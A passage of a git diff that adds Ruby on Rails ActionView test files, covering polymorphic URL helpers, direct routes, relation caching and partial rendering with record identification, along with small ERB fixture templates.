+class ModelDelegator
+  def to_model
+    ModelDelegate.new
+  end
+end
+
+class ModelDelegate
+  def persisted?
+    true
+  end
+
+  def model_name
+    ActiveModel::Name.new(self.class)
+  end
+
+  def to_param
+    "overridden"
+  end
+end
+
+module Weblog
+  class Post < ActiveRecord::Base
+    self.table_name = "projects"
+  end
+
+  class Blog < ActiveRecord::Base
+    self.table_name = "projects"
+  end
+
+  def self.use_relative_model_naming?
+    true
+  end
+end
+
+class PolymorphicRoutesTest < ActionController::TestCase
+  include SharedTestRoutes.url_helpers
+  default_url_options[:host] = "example.com"
+
+  def setup
+    @project = Project.new
+    @task = Task.new
+    @step = Step.new
+    @bid = Bid.new
+    @tax = Tax.new
+    @fax = Fax.new
+    @delegator = ModelDelegator.new
+    @series = Series.new
+    @blog_post = Weblog::Post.new
+    @blog_blog = Weblog::Blog.new
+  end
+
+  def assert_url(url, args)
+    host = self.class.default_url_options[:host]
+
+    assert_equal url.sub(/http:\/\/#{host}/, ""), polymorphic_path(args)
+    assert_equal url, polymorphic_url(args)
+    assert_equal url, url_for(args)
+  end
+
+  def test_string
+    with_test_routes do
+      assert_equal "/projects", polymorphic_path("projects")
+      assert_equal "http://example.com/projects", polymorphic_url("projects")
+      assert_equal "projects", url_for("projects")
+    end
+  end
+
+  def test_string_with_options
+    with_test_routes do
+      assert_equal "http://example.com/projects?id=10", polymorphic_url("projects", id: 10)
+    end
+  end
+
+  def test_symbol
+    with_test_routes do
+      assert_url "http://example.com/projects", :projects
+    end
+  end
+
+  def test_symbol_with_options
+    with_test_routes do
+      assert_equal "http://example.com/projects?id=10", polymorphic_url(:projects, id: 10)
+    end
+  end
+
+  def test_passing_routes_proxy
+    with_namespaced_routes(:blog) do
+      proxy = ActionDispatch::Routing::RoutesProxy.new(_routes, self, _routes.url_helpers)
+      @blog_post.save
+      assert_url "http://example.com/posts/#{@blog_post.id}", [proxy, @blog_post]
+    end
+  end
+
+  def test_namespaced_model
+    with_namespaced_routes(:blog) do
+      @blog_post.save
+      assert_url "http://example.com/posts/#{@blog_post.id}", @blog_post
+    end
+  end
+
+  def test_namespaced_model_with_name_the_same_as_namespace
+    with_namespaced_routes(:blog) do
+      @blog_blog.save
+      assert_url "http://example.com/blogs/#{@blog_blog.id}", @blog_blog
+    end
+  end
+
+  def test_polymorphic_url_with_2_objects
+    with_namespaced_routes(:blog) do
+      @blog_blog.save
+      @blog_post.save
+      assert_equal "http://example.com/blogs/#{@blog_blog.id}/posts/#{@blog_post.id}", polymorphic_url([@blog_blog, @blog_post])
+    end
+  end
+
+  def test_polymorphic_url_with_3_objects
+    with_namespaced_routes(:blog) do
+      @blog_blog.save
+      @blog_post.save
+      @fax.save
+      assert_equal "http://example.com/blogs/#{@blog_blog.id}/posts/#{@blog_post.id}/faxes/#{@fax.id}", polymorphic_url([@blog_blog, @blog_post, @fax])
+    end
+  end
+
+  def test_namespaced_model_with_nested_resources
+    with_namespaced_routes(:blog) do
+      @blog_post.save
+      @blog_blog.save
+      assert_url "http://example.com/blogs/#{@blog_blog.id}/posts/#{@blog_post.id}", [@blog_blog, @blog_post]
+    end
+  end
+
+  def test_with_nil
+    with_test_routes do
+      exception = assert_raise ArgumentError do
+        polymorphic_url(nil)
+      end
+      assert_equal "Nil location provided. Can't build URI.", exception.message
+    end
+  end
+
+  def test_with_empty_list
+    with_test_routes do
+      exception = assert_raise ArgumentError do
+        polymorphic_url([])
+      end
+      assert_equal "Nil location provided. Can't build URI.", exception.message
+    end
+  end
+
+  def test_with_nil_id
+    with_test_routes do
+      exception = assert_raise ArgumentError do
+        polymorphic_url(id: nil)
+      end
+      assert_equal "Nil location provided. Can't build URI.", exception.message
+    end
+  end
+
+  def test_with_entirely_nil_list
+    with_test_routes do
+      exception = assert_raise ArgumentError do
+        @series.save
+        polymorphic_url([nil, nil])
+      end
+      assert_equal "Nil location provided. Can't build URI.", exception.message
+    end
+  end
+
+  def test_with_nil_in_list_for_resource_that_could_be_top_level_or_nested
+    with_top_level_and_nested_routes do
+      @blog_post.save
+      assert_equal "http://example.com/posts/#{@blog_post.id}", polymorphic_url([nil, @blog_post])
+    end
+  end
+
+  def test_with_nil_in_list_does_not_generate_invalid_link
+    with_top_level_and_nested_routes do
+      exception = assert_raise NoMethodError do
+        @series.save
+        polymorphic_url([nil, @series])
+      end
+      assert_match(/undefined method `series_url'/, exception.message)
+    end
+  end
+
+  def test_with_record
+    with_test_routes do
+      @project.save
+      assert_url "http://example.com/projects/#{@project.id}", @project
+    end
+  end
+
+  def test_with_class
+    with_test_routes do
+      assert_url "http://example.com/projects", @project.class
+    end
+  end
+
+  def test_with_class_list_of_one
+    with_test_routes do
+      assert_url "http://example.com/projects", [@project.class]
+    end
+  end
+
+  def test_class_with_options
+    with_test_routes do
+      assert_equal "http://example.com/projects?foo=bar", polymorphic_url(@project.class, foo: :bar)
+      assert_equal "/projects?foo=bar", polymorphic_path(@project.class, foo: :bar)
+    end
+  end
+
+  def test_with_new_record
+    with_test_routes do
+      assert_url "http://example.com/projects", @project
+    end
+  end
+
+  def test_new_record_arguments
+    params = nil
+
+    with_test_routes do
+      extend Module.new {
+        define_method("projects_url") { |*args|
+          params = args
+          super(*args)
+        }
+
+        define_method("projects_path") { |*args|
+          params = args
+          super(*args)
+        }
+      }
+
+      assert_url "http://example.com/projects", @project
+      assert_equal [], params
+    end
+  end
+
+  def test_with_destroyed_record
+    with_test_routes do
+      @project.destroy
+      assert_url "http://example.com/projects", @project
+    end
+  end
+
+  def test_with_record_and_action
+    with_test_routes do
+      assert_equal "http://example.com/projects/new", polymorphic_url(@project, action: "new")
+    end
+  end
+
+  def test_url_helper_prefixed_with_new
+    with_test_routes do
+      assert_equal "http://example.com/projects/new", new_polymorphic_url(@project)
+    end
+  end
+
+  def test_regression_path_helper_prefixed_with_new_and_edit
+    with_test_routes do
+      assert_equal "/projects/new", new_polymorphic_path(@project)
+
+      @project.save
+      assert_equal "/projects/#{@project.id}/edit", edit_polymorphic_path(@project)
+    end
+  end
+
+  def test_url_helper_prefixed_with_edit
+    with_test_routes do
+      @project.save
+      assert_equal "http://example.com/projects/#{@project.id}/edit", edit_polymorphic_url(@project)
+    end
+  end
+
+  def test_url_helper_prefixed_with_edit_with_url_options
+    with_test_routes do
+      @project.save
+      assert_equal "http://example.com/projects/#{@project.id}/edit?param1=10", edit_polymorphic_url(@project, param1: "10")
+    end
+  end
+
+  def test_url_helper_with_url_options
+    with_test_routes do
+      @project.save
+      assert_equal "http://example.com/projects/#{@project.id}?param1=10", polymorphic_url(@project, param1: "10")
+    end
+  end
+
+  def test_format_option
+    with_test_routes do
+      @project.save
+      assert_equal "http://example.com/projects/#{@project.id}.pdf", polymorphic_url(@project, format: :pdf)
+    end
+  end
+
+  def test_format_option_with_url_options
+    with_test_routes do
+      @project.save
+      assert_equal "http://example.com/projects/#{@project.id}.pdf?param1=10", polymorphic_url(@project, format: :pdf, param1: "10")
+    end
+  end
+
+  def test_id_and_format_option
+    with_test_routes do
+      @project.save
+      assert_equal "http://example.com/projects/#{@project.id}.pdf", polymorphic_url(id: @project, format: :pdf)
+    end
+  end
+
+  def test_with_nested
+    with_test_routes do
+      @project.save
+      @task.save
+      assert_url "http://example.com/projects/#{@project.id}/tasks/#{@task.id}", [@project, @task]
+    end
+  end
+
+  def test_with_nested_unsaved
+    with_test_routes do
+      @project.save
+      assert_url "http://example.com/projects/#{@project.id}/tasks", [@project, @task]
+    end
+  end
+
+  def test_with_nested_destroyed
+    with_test_routes do
+      @project.save
+      @task.destroy
+      assert_url "http://example.com/projects/#{@project.id}/tasks", [@project, @task]
+    end
+  end
+
+  def test_with_nested_class
+    with_test_routes do
+      @project.save
+      assert_url "http://example.com/projects/#{@project.id}/tasks", [@project, @task.class]
+    end
+  end
+
+  def test_class_with_array_and_namespace
+    with_admin_test_routes do
+      assert_url "http://example.com/admin/projects", [:admin, @project.class]
+    end
+  end
+
+  def test_new_with_array_and_namespace
+    with_admin_test_routes do
+      assert_equal "http://example.com/admin/projects/new", polymorphic_url([:admin, @project], action: "new")
+    end
+  end
+
+  def test_unsaved_with_array_and_namespace
+    with_admin_test_routes do
+      assert_url "http://example.com/admin/projects", [:admin, @project]
+    end
+  end
+
+  def test_nested_unsaved_with_array_and_namespace
+    with_admin_test_routes do
+      @project.save
+      assert_url "http://example.com/admin/projects/#{@project.id}/tasks", [:admin, @project, @task]
+    end
+  end
+
+  def test_nested_with_array_and_namespace
+    with_admin_test_routes do
+      @project.save
+      @task.save
+      assert_url "http://example.com/admin/projects/#{@project.id}/tasks/#{@task.id}", [:admin, @project, @task]
+    end
+  end
+
+  def test_ordering_of_nesting_and_namespace
+    with_admin_and_site_test_routes do
+      @project.save
+      @task.save
+      @step.save
+      assert_url "http://example.com/admin/projects/#{@project.id}/site/tasks/#{@task.id}/steps/#{@step.id}", [:admin, @project, :site, @task, @step]
+    end
+  end
+
+  def test_nesting_with_array_ending_in_singleton_resource
+    with_test_routes do
+      @project.save
+      assert_url "http://example.com/projects/#{@project.id}/bid", [@project, :bid]
+    end
+  end
+
+  def test_nesting_with_array_containing_singleton_resource
+    with_test_routes do
+      @project.save
+      @task.save
+      assert_url "http://example.com/projects/#{@project.id}/bid/tasks/#{@task.id}", [@project, :bid, @task]
+    end
+  end
+
+  def test_nesting_with_array_containing_singleton_resource_and_format
+    with_test_routes do
+      @project.save
+      @task.save
+      assert_equal "http://example.com/projects/#{@project.id}/bid/tasks/#{@task.id}.pdf", polymorphic_url([@project, :bid, @task], format: :pdf)
+    end
+  end
+
+  def test_nesting_with_array_containing_namespace_and_singleton_resource
+    with_admin_test_routes do
+      @project.save
+      @task.save
+      assert_url "http://example.com/admin/projects/#{@project.id}/bid/tasks/#{@task.id}", [:admin, @project, :bid, @task]
+    end
+  end
+
+  def test_nesting_with_array
+    with_test_routes do
+      @project.save
+      assert_url "http://example.com/projects/#{@project.id}/bid", [@project, :bid]
+    end
+  end
+
+  def test_with_array_containing_single_object
+    with_test_routes do
+      @project.save
+      assert_url "http://example.com/projects/#{@project.id}", [@project]
+    end
+  end
+
+  def test_with_array_containing_single_name
+    with_test_routes do
+      @project.save
+      assert_url "http://example.com/projects", [:projects]
+    end
+  end
+
+  def test_with_array_containing_single_string_name
+    with_test_routes do
+      assert_url "http://example.com/projects", ["projects"]
+    end
+  end
+
+  def test_with_array_containing_symbols
+    with_test_routes do
+      assert_url "http://example.com/series/new", [:new, :series]
+    end
+  end
+
+  def test_with_hash
+    with_test_routes do
+      @project.save
+      assert_equal "http://example.com/projects/#{@project.id}", polymorphic_url(id: @project)
+    end
+  end
+
+  def test_polymorphic_path_accepts_options
+    with_test_routes do
+      assert_equal "/projects/new", polymorphic_path(@project, action: "new")
+    end
+  end
+
+  def test_polymorphic_path_does_not_modify_arguments
+    with_admin_test_routes do
+      @project.save
+      @task.save
+
+      options = {}
+      object_array = [:admin, @project, @task]
+      original_args = [object_array.dup, options.dup]
+
+      assert_no_difference("object_array.size") { polymorphic_path(object_array, options) }
+      assert_equal original_args, [object_array, options]
+    end
+  end
+
+  # Tests for names where .plural.singular doesn't round-trip
+  def test_with_irregular_plural_record
+    with_test_routes do
+      @tax.save
+      assert_url "http://example.com/taxes/#{@tax.id}", @tax
+    end
+  end
+
+  def test_with_irregular_plural_class
+    with_test_routes do
+      assert_url "http://example.com/taxes", @tax.class
+    end
+  end
+
+  def test_with_irregular_plural_new_record
+    with_test_routes do
+      assert_url "http://example.com/taxes", @tax
+    end
+  end
+
+  def test_with_irregular_plural_destroyed_record
+    with_test_routes do
+      @tax.destroy
+      assert_url "http://example.com/taxes", @tax
+    end
+  end
+
+  def test_with_irregular_plural_record_and_action
+    with_test_routes do
+      assert_equal "http://example.com/taxes/new", polymorphic_url(@tax, action: "new")
+    end
+  end
+
+  def test_irregular_plural_url_helper_prefixed_with_new
+    with_test_routes do
+      assert_equal "http://example.com/taxes/new", new_polymorphic_url(@tax)
+    end
+  end
+
+  def test_irregular_plural_url_helper_prefixed_with_edit
+    with_test_routes do
+      @tax.save
+      assert_equal "http://example.com/taxes/#{@tax.id}/edit", edit_polymorphic_url(@tax)
+    end
+  end
+
+  def test_with_nested_irregular_plurals
+    with_test_routes do
+      @tax.save
+      @fax.save
+      assert_equal "http://example.com/taxes/#{@tax.id}/faxes/#{@fax.id}", polymorphic_url([@tax, @fax])
+    end
+  end
+
+  def test_with_nested_unsaved_irregular_plurals
+    with_test_routes do
+      @tax.save
+      assert_url "http://example.com/taxes/#{@tax.id}/faxes", [@tax, @fax]
+    end
+  end
+
+  def test_new_with_irregular_plural_array_and_namespace
+    with_admin_test_routes do
+      assert_equal "http://example.com/admin/taxes/new", polymorphic_url([:admin, @tax], action: "new")
+    end
+  end
+
+  def test_class_with_irregular_plural_array_and_namespace
+    with_admin_test_routes do
+      assert_url "http://example.com/admin/taxes", [:admin, @tax.class]
+    end
+  end
+
+  def test_unsaved_with_irregular_plural_array_and_namespace
+    with_admin_test_routes do
+      assert_url "http://example.com/admin/taxes", [:admin, @tax]
+    end
+  end
+
+  def test_nesting_with_irregular_plurals_and_array_ending_in_singleton_resource
+    with_test_routes do
+      @tax.save
+      assert_url "http://example.com/taxes/#{@tax.id}/bid", [@tax, :bid]
+    end
+  end
+
+  def test_with_array_containing_single_irregular_plural_object
+    with_test_routes do
+      @tax.save
+      assert_url "http://example.com/taxes/#{@tax.id}", [@tax]
+    end
+  end
+
+  def test_with_array_containing_single_name_irregular_plural
+    with_test_routes do
+      @tax.save
+      assert_url "http://example.com/taxes", [:taxes]
+    end
+  end
+
+  # Tests for uncountable names
+  def test_uncountable_resource
+    with_test_routes do
+      @series.save
+      assert_url "http://example.com/series/#{@series.id}", @series
+      assert_url "http://example.com/series", Series.new
+    end
+  end
+
+  def test_routing_to_a_model_delegate
+    with_test_routes do
+      assert_url "http://example.com/model_delegates/overridden", @delegator
+    end
+  end
+
+  def test_nested_routing_to_a_model_delegate
+    with_test_routes do
+      assert_url "http://example.com/foo/model_delegates/overridden", [:foo, @delegator]
+    end
+  end
+
+  def with_namespaced_routes(name)
+    with_routing do |set|
+      set.draw do
+        scope(module: name) do
+          resources :blogs do
+            resources :posts do
+              resources :faxes
+            end
+          end
+          resources :posts
+        end
+      end
+
+      extend @routes.url_helpers
+      yield
+    end
+  end
+
+  def with_test_routes(options = {})
+    with_routing do |set|
+      set.draw do
+        resources :projects do
+          resources :tasks
+          resource :bid do
+            resources :tasks
+          end
+        end
+        resources :taxes do
+          resources :faxes
+          resource :bid
+        end
+        resources :series
+        resources :model_delegates
+        namespace :foo do
+          resources :model_delegates
+        end
+      end
+
+      extend @routes.url_helpers
+      yield
+    end
+  end
+
+  def with_top_level_and_nested_routes(options = {})
+    with_routing do |set|
+      set.draw do
+        resources :blogs do
+          resources :posts
+          resources :series
+        end
+        resources :posts
+      end
+
+      extend @routes.url_helpers
+      yield
+    end
+  end
+
+  def with_admin_test_routes(options = {})
+    with_routing do |set|
+      set.draw do
+        namespace :admin do
+          resources :projects do
+            resources :tasks
+            resource :bid do
+              resources :tasks
+            end
+          end
+          resources :taxes do
+            resources :faxes
+          end
+          resources :series
+        end
+      end
+
+      extend @routes.url_helpers
+      yield
+    end
+  end
+
+  def with_admin_and_site_test_routes(options = {})
+    with_routing do |set|
+      set.draw do
+        namespace :admin do
+          resources :projects do
+            namespace :site do
+              resources :tasks do
+                resources :steps
+              end
+            end
+          end
+        end
+      end
+
+      extend @routes.url_helpers
+      yield
+    end
+  end
+end
+
+class PolymorphicPathRoutesTest < PolymorphicRoutesTest
+  include ActionView::RoutingUrlFor
+  include ActionView::Context
+
+  attr_accessor :controller
+
+  def assert_url(url, args)
+    host = self.class.default_url_options[:host]
+
+    assert_equal url.sub(/http:\/\/#{host}/, ""), url_for(args)
+  end
+end
+
+class DirectRoutesTest < ActionView::TestCase
+  class Linkable
+    attr_reader :id
+
+    def self.name
+      super.demodulize
+    end
+
+    def initialize(id)
+      @id = id
+    end
+
+    def linkable_type
+      self.class.name.underscore
+    end
+  end
+
+  class Category < Linkable; end
+  class Collection < Linkable; end
+  class Product < Linkable; end
+
+  Routes = ActionDispatch::Routing::RouteSet.new
+  Routes.draw do
+    resources :categories, :collections, :products
+    direct(:linkable) { |linkable| [:"#{linkable.linkable_type}", { id: linkable.id }] }
+  end
+
+  include Routes.url_helpers
+
+  def setup
+    @category = Category.new("1")
+    @collection = Collection.new("2")
+    @product = Product.new("3")
+  end
+
+  def test_direct_routes
+    assert_equal "/categories/1", linkable_path(@category)
+    assert_equal "/collections/2", linkable_path(@collection)
+    assert_equal "/products/3", linkable_path(@product)
+
+    assert_equal "http://test.host/categories/1", linkable_url(@category)
+    assert_equal "http://test.host/collections/2", linkable_url(@collection)
+    assert_equal "http://test.host/products/3", linkable_url(@product)
+  end
+end
diff --git a/actionview/test/activerecord/relation_cache_test.rb b/actionview/test/activerecord/relation_cache_test.rb
new file mode 100644
index 0000000000..bd0cd10eaf
--- /dev/null
+++ b/actionview/test/activerecord/relation_cache_test.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+require "active_record_unit"
+
+class RelationCacheTest < ActionView::TestCase
+  tests ActionView::Helpers::CacheHelper
+
+  def setup
+    view_paths     = ActionController::Base.view_paths
+    lookup_context = ActionView::LookupContext.new(view_paths, {}, ["test"])
+    @view_renderer = ActionView::Renderer.new(lookup_context)
+    @virtual_path  = "path"
+
+    controller.cache_store = ActiveSupport::Cache::MemoryStore.new
+  end
+
+  def test_cache_relation_other
+    cache(Project.all) { concat("Hello World") }
+    assert_equal "Hello World", controller.cache_store.read("views/path/projects-#{Project.count}")
+  end
+
+  def view_cache_dependencies; end
+end
diff --git a/actionview/test/activerecord/render_partial_with_record_identification_test.rb b/actionview/test/activerecord/render_partial_with_record_identification_test.rb
new file mode 100644
index 0000000000..367d2c3174
--- /dev/null
+++ b/actionview/test/activerecord/render_partial_with_record_identification_test.rb
@@ -0,0 +1,198 @@
+# frozen_string_literal: true
+
+require "active_record_unit"
+
+class RenderPartialWithRecordIdentificationController < ActionController::Base
+  def render_with_has_many_and_belongs_to_association
+    @developer = Developer.find(1)
+    render partial: @developer.projects
+  end
+
+  def render_with_has_many_association
+    @topic = Topic.find(1)
+    render partial: @topic.replies
+  end
+
+  def render_with_scope
+    render partial: Reply.base
+  end
+
+  def render_with_has_many_through_association
+    @developer = Developer.first
+    render partial: @developer.topics
+  end
+
+  def render_with_has_one_association
+    @company = Company.find(1)
+    render partial: @company.mascot
+  end
+
+  def render_with_belongs_to_association
+    @reply = Reply.find(1)
+    render partial: @reply.topic
+  end
+
+  def render_with_record
+    @developer = Developer.first
+    render partial: @developer
+  end
+
+  def render_with_record_collection
+    @developers = Developer.all
+    render partial: @developers
+  end
+
+  def render_with_record_collection_and_spacer_template
+    @developer = Developer.find(1)
+    render partial: @developer.projects, spacer_template: "test/partial_only"
+  end
+end
+
+class RenderPartialWithRecordIdentificationTest < ActiveRecordTestCase
+  tests RenderPartialWithRecordIdentificationController
+  fixtures :developers, :projects, :developers_projects, :topics, :replies, :companies, :mascots
+
+  def test_rendering_partial_with_has_many_and_belongs_to_association
+    get :render_with_has_many_and_belongs_to_association
+    assert_equal Developer.find(1).projects.map(&:name).join, @response.body
+  end
+
+  def test_rendering_partial_with_has_many_association
+    get :render_with_has_many_association
+    assert_equal "Birdman is better!", @response.body
+  end
+
+  def test_rendering_partial_with_scope
+    get :render_with_scope
+    assert_equal "Birdman is better!Nuh uh!", @response.body
+  end
+
+  def test_render_with_record
+    get :render_with_record
+    assert_equal "David", @response.body
+  end
+
+  def test_render_with_record_collection
+    get :render_with_record_collection
+    assert_equal "DavidJamisfixture_3fixture_4fixture_5fixture_6fixture_7fixture_8fixture_9fixture_10Jamis", @response.body
+  end
+
+  def test_render_with_record_collection_and_spacer_template
+    get :render_with_record_collection_and_spacer_template
+    assert_equal Developer.find(1).projects.map(&:name).join("only partial"), @response.body
+  end
+
+  def test_rendering_partial_with_has_one_association
+    mascot = Company.find(1).mascot
+    get :render_with_has_one_association
+    assert_equal mascot.name, @response.body
+  end
+end
+
+Game = Struct.new(:name, :id) do
+  extend ActiveModel::Naming
+  include ActiveModel::Conversion
+  def to_param
+    id.to_s
+  end
+end
+
+module Fun
+  class NestedController < ActionController::Base
+    def render_with_record_in_nested_controller
+      render partial: Game.new("Pong")
+    end
+
+    def render_with_record_collection_in_nested_controller
+      render partial: [ Game.new("Pong"), Game.new("Tank") ]
+    end
+  end
+
+  module Serious
+    class NestedDeeperController < ActionController::Base
+      def render_with_record_in_deeper_nested_controller
+        render partial: Game.new("Chess")
+      end
+
+      def render_with_record_collection_in_deeper_nested_controller
+        render partial: [ Game.new("Chess"), Game.new("Sudoku"), Game.new("Solitaire") ]
+      end
+    end
+  end
+end
+
+class RenderPartialWithRecordIdentificationAndNestedControllersTest < ActiveRecordTestCase
+  tests Fun::NestedController
+
+  def test_render_with_record_in_nested_controller
+    get :render_with_record_in_nested_controller
+    assert_equal "Fun Pong\n", @response.body
+  end
+
+  def test_render_with_record_collection_in_nested_controller
+    get :render_with_record_collection_in_nested_controller
+    assert_equal "Fun Pong\nFun Tank\n", @response.body
+  end
+end
+
+class RenderPartialWithRecordIdentificationAndNestedControllersWithoutPrefixTest < ActiveRecordTestCase
+  tests Fun::NestedController
+
+  def test_render_with_record_in_nested_controller
+    old_config = ActionView::Base.prefix_partial_path_with_controller_namespace
+    ActionView::Base.prefix_partial_path_with_controller_namespace = false
+
+    get :render_with_record_in_nested_controller
+    assert_equal "Just Pong\n", @response.body
+  ensure
+    ActionView::Base.prefix_partial_path_with_controller_namespace = old_config
+  end
+
+  def test_render_with_record_collection_in_nested_controller
+    old_config = ActionView::Base.prefix_partial_path_with_controller_namespace
+    ActionView::Base.prefix_partial_path_with_controller_namespace = false
+
+    get :render_with_record_collection_in_nested_controller
+    assert_equal "Just Pong\nJust Tank\n", @response.body
+  ensure
+    ActionView::Base.prefix_partial_path_with_controller_namespace = old_config
+  end
+end
+
+class RenderPartialWithRecordIdentificationAndNestedDeeperControllersTest < ActiveRecordTestCase
+  tests Fun::Serious::NestedDeeperController
+
+  def test_render_with_record_in_deeper_nested_controller
+    get :render_with_record_in_deeper_nested_controller
+    assert_equal "Serious Chess\n", @response.body
+  end
+
+  def test_render_with_record_collection_in_deeper_nested_controller
+    get :render_with_record_collection_in_deeper_nested_controller
+    assert_equal "Serious Chess\nSerious Sudoku\nSerious Solitaire\n", @response.body
+  end
+end
+
+class RenderPartialWithRecordIdentificationAndNestedDeeperControllersWithoutPrefixTest < ActiveRecordTestCase
+  tests Fun::Serious::NestedDeeperController
+
+  def test_render_with_record_in_deeper_nested_controller
+    old_config = ActionView::Base.prefix_partial_path_with_controller_namespace
+    ActionView::Base.prefix_partial_path_with_controller_namespace = false
+
+    get :render_with_record_in_deeper_nested_controller
+    assert_equal "Just Chess\n", @response.body
+  ensure
+    ActionView::Base.prefix_partial_path_with_controller_namespace = old_config
+  end
+
+  def test_render_with_record_collection_in_deeper_nested_controller
+    old_config = ActionView::Base.prefix_partial_path_with_controller_namespace
+    ActionView::Base.prefix_partial_path_with_controller_namespace = false
+
+    get :render_with_record_collection_in_deeper_nested_controller
+    assert_equal "Just Chess\nJust Sudoku\nJust Solitaire\n", @response.body
+  ensure
+    ActionView::Base.prefix_partial_path_with_controller_namespace = old_config
+  end
+end
diff --git a/actionview/test/fixtures/_top_level_partial.html.erb b/actionview/test/fixtures/_top_level_partial.html.erb
new file mode 100644
index 0000000000..0b1c2e46e0
--- /dev/null
+++ b/actionview/test/fixtures/_top_level_partial.html.erb
@@ -0,0 +1 @@
+top level partial html
\ No newline at end of file
diff --git a/actionview/test/fixtures/_top_level_partial_only.erb b/actionview/test/fixtures/_top_level_partial_only.erb
new file mode 100644
index 0000000000..44f25b61d0
--- /dev/null
+++ b/actionview/test/fixtures/_top_level_partial_only.erb
@@ -0,0 +1 @@
+top level partial
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/bad_customers/_bad_customer.html.erb b/actionview/test/fixtures/actionpack/bad_customers/_bad_customer.html.erb
new file mode 100644
index 0000000000..d22af431ec
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/bad_customers/_bad_customer.html.erb
@@ -0,0 +1 @@
+<%= greeting %> bad customer: <%= bad_customer.name %><%= bad_customer_counter %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/customers/_customer.html.erb b/actionview/test/fixtures/actionpack/customers/_customer.html.erb
new file mode 100644
index 0000000000..483571e22a
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/customers/_customer.html.erb
@@ -0,0 +1 @@
+<%= greeting %>: <%= customer.name %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/fun/games/_form.erb b/actionview/test/fixtures/actionpack/fun/games/_form.erb
new file mode 100644
index 0000000000..01107f1cb2
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/fun/games/_form.erb
@@ -0,0 +1 @@
+<%= form.label :title %>
diff --git a/actionview/test/fixtures/actionpack/fun/games/hello_world.erb b/actionview/test/fixtures/actionpack/fun/games/hello_world.erb
new file mode 100644
index 0000000000..1ebfbe2539
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/fun/games/hello_world.erb
@@ -0,0 +1 @@
+Living in a nested world
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/good_customers/_good_customer.html.erb b/actionview/test/fixtures/actionpack/good_customers/_good_customer.html.erb
new file mode 100644
index 0000000000..a2d97ebc6d
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/good_customers/_good_customer.html.erb
@@ -0,0 +1 @@
+<%= greeting %> good customer: <%= good_customer.name %><%= good_customer_counter %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/hello.html b/actionview/test/fixtures/actionpack/hello.html
new file mode 100644
index 0000000000..6769dd60bd
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/hello.html
@@ -0,0 +1 @@
+Hello world!
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/layout_tests/alt/layouts/alt.erb b/actionview/test/fixtures/actionpack/layout_tests/alt/layouts/alt.erb
new file mode 100644
index 0000000000..60b81525b5
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layout_tests/alt/layouts/alt.erb
@@ -0,0 +1 @@
+alt.erb
diff --git a/actionview/test/fixtures/actionpack/layout_tests/layouts/controller_name_space/nested.erb b/actionview/test/fixtures/actionpack/layout_tests/layouts/controller_name_space/nested.erb
new file mode 100644
index 0000000000..121bc079a1
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layout_tests/layouts/controller_name_space/nested.erb
@@ -0,0 +1 @@
+controller_name_space/nested.erb <%= yield %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/layout_tests/layouts/item.erb b/actionview/test/fixtures/actionpack/layout_tests/layouts/item.erb
new file mode 100644
index 0000000000..60f04d77d5
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layout_tests/layouts/item.erb
@@ -0,0 +1 @@
+item.erb <%= yield %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/layout_tests/layouts/layout_test.erb b/actionview/test/fixtures/actionpack/layout_tests/layouts/layout_test.erb
new file mode 100644
index 0000000000..b74ac0840d
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layout_tests/layouts/layout_test.erb
@@ -0,0 +1 @@
+layout_test.erb <%= yield %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/layout_tests/layouts/multiple_extensions.html.erb b/actionview/test/fixtures/actionpack/layout_tests/layouts/multiple_extensions.html.erb
new file mode 100644
index 0000000000..3b65e54f9c
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layout_tests/layouts/multiple_extensions.html.erb
@@ -0,0 +1 @@
+multiple_extensions.html.erb <%= yield %>
diff --git a/actionview/test/fixtures/actionpack/layout_tests/layouts/symlinked/symlinked_layout.erb b/actionview/test/fixtures/actionpack/layout_tests/layouts/symlinked/symlinked_layout.erb
new file mode 100644
index 0000000000..bda57d0fae
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layout_tests/layouts/symlinked/symlinked_layout.erb
@@ -0,0 +1,5 @@
+This is my layout
+
+<%= yield %>
+
+End.
diff --git a/actionview/test/fixtures/actionpack/layout_tests/layouts/third_party_template_library.mab b/actionview/test/fixtures/actionpack/layout_tests/layouts/third_party_template_library.mab
new file mode 100644
index 0000000000..fcee620d82
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layout_tests/layouts/third_party_template_library.mab
@@ -0,0 +1 @@
+layouts/third_party_template_library.mab
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/layout_tests/views/goodbye.erb b/actionview/test/fixtures/actionpack/layout_tests/views/goodbye.erb
new file mode 100644
index 0000000000..4ee911188e
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layout_tests/views/goodbye.erb
@@ -0,0 +1 @@
+hello.erb
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/layout_tests/views/hello.erb b/actionview/test/fixtures/actionpack/layout_tests/views/hello.erb
new file mode 100644
index 0000000000..4ee911188e
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layout_tests/views/hello.erb
@@ -0,0 +1 @@
+hello.erb
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/layouts/_column.html.erb b/actionview/test/fixtures/actionpack/layouts/_column.html.erb
new file mode 100644
index 0000000000..96db002b8a
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/layouts/_column.html.erb
@@ -0,0 +1,2 @@
+<div id="column"><%= yield :column %></div>
+<div id="content"><%= yield %></div>
\ No newline at end of file
